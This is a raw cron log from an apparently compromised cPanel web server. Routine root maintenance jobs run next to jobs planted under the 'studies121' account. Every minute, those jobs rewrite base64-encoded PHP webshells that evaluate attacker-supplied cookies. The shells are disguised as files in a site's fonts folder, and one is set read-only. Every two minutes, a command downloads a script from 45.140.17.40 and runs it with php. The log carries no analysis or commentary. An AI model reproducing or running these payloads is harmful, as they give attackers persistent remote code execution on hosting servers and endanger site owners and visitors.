Aug 31 06:25:01 ip-184-168-122-23 CROND[13573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:25:01 ip-184-168-122-23 CROND[13572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:25:01 ip-184-168-122-23 CROND[13574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:25:01 ip-184-168-122-23 CROND[13576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:25:01 ip-184-168-122-23 CROND[13575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:25:01 ip-184-168-122-23 CROND[13577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:26:01 ip-184-168-122-23 CROND[13680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:26:01 ip-184-168-122-23 CROND[13682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:26:01 ip-184-168-122-23 CROND[13683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:26:01 ip-184-168-122-23 CROND[13685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:26:01 ip-184-168-122-23 CROND[13684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:27:01 ip-184-168-122-23 CROND[13788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:27:01 ip-184-168-122-23 CROND[13792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:27:01 ip-184-168-122-23 CROND[13790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:27:01 ip-184-168-122-23 CROND[13791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:28:01 ip-184-168-122-23 CROND[13882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:28:01 ip-184-168-122-23 CROND[13884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:28:01 ip-184-168-122-23 CROND[13887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:28:01 ip-184-168-122-23 CROND[13885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:28:01 ip-184-168-122-23 CROND[13886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:29:01 ip-184-168-122-23 CROND[14079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:29:01 ip-184-168-122-23 CROND[14078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:29:01 ip-184-168-122-23 CROND[14077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:29:01 ip-184-168-122-23 CROND[14080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:30:01 ip-184-168-122-23 CROND[14185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:30:01 ip-184-168-122-23 CROND[14187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:30:01 ip-184-168-122-23 CROND[14189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:30:01 ip-184-168-122-23 CROND[14193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:30:01 ip-184-168-122-23 CROND[14190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:30:01 ip-184-168-122-23 CROND[14191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:30:01 ip-184-168-122-23 CROND[14192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:30:01 ip-184-168-122-23 CROND[14194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:31:01 ip-184-168-122-23 CROND[14301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:31:01 ip-184-168-122-23 CROND[14303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:31:01 ip-184-168-122-23 CROND[14304]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 06:31:01 ip-184-168-122-23 CROND[14306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:31:01 ip-184-168-122-23 CROND[14307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:32:01 ip-184-168-122-23 CROND[14426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:32:01 ip-184-168-122-23 CROND[14427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:32:01 ip-184-168-122-23 CROND[14428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:32:01 ip-184-168-122-23 CROND[14430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:32:01 ip-184-168-122-23 CROND[14431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:33:01 ip-184-168-122-23 CROND[14536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:33:01 ip-184-168-122-23 CROND[14537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:33:01 ip-184-168-122-23 CROND[14539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:33:01 ip-184-168-122-23 CROND[14541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:34:01 ip-184-168-122-23 CROND[14712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:34:01 ip-184-168-122-23 CROND[14713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:34:01 ip-184-168-122-23 CROND[14718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:34:01 ip-184-168-122-23 CROND[14716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:34:01 ip-184-168-122-23 CROND[14717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:35:01 ip-184-168-122-23 CROND[14856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:35:01 ip-184-168-122-23 CROND[14858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:35:01 ip-184-168-122-23 CROND[14860]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 06:35:01 ip-184-168-122-23 CROND[14862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:35:01 ip-184-168-122-23 CROND[14863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:35:01 ip-184-168-122-23 CROND[14859]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 06:35:01 ip-184-168-122-23 CROND[14861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:35:01 ip-184-168-122-23 CROND[14864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:36:02 ip-184-168-122-23 CROND[14968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:36:02 ip-184-168-122-23 CROND[14971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:36:02 ip-184-168-122-23 CROND[14972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:36:02 ip-184-168-122-23 CROND[14970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:36:02 ip-184-168-122-23 CROND[14973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
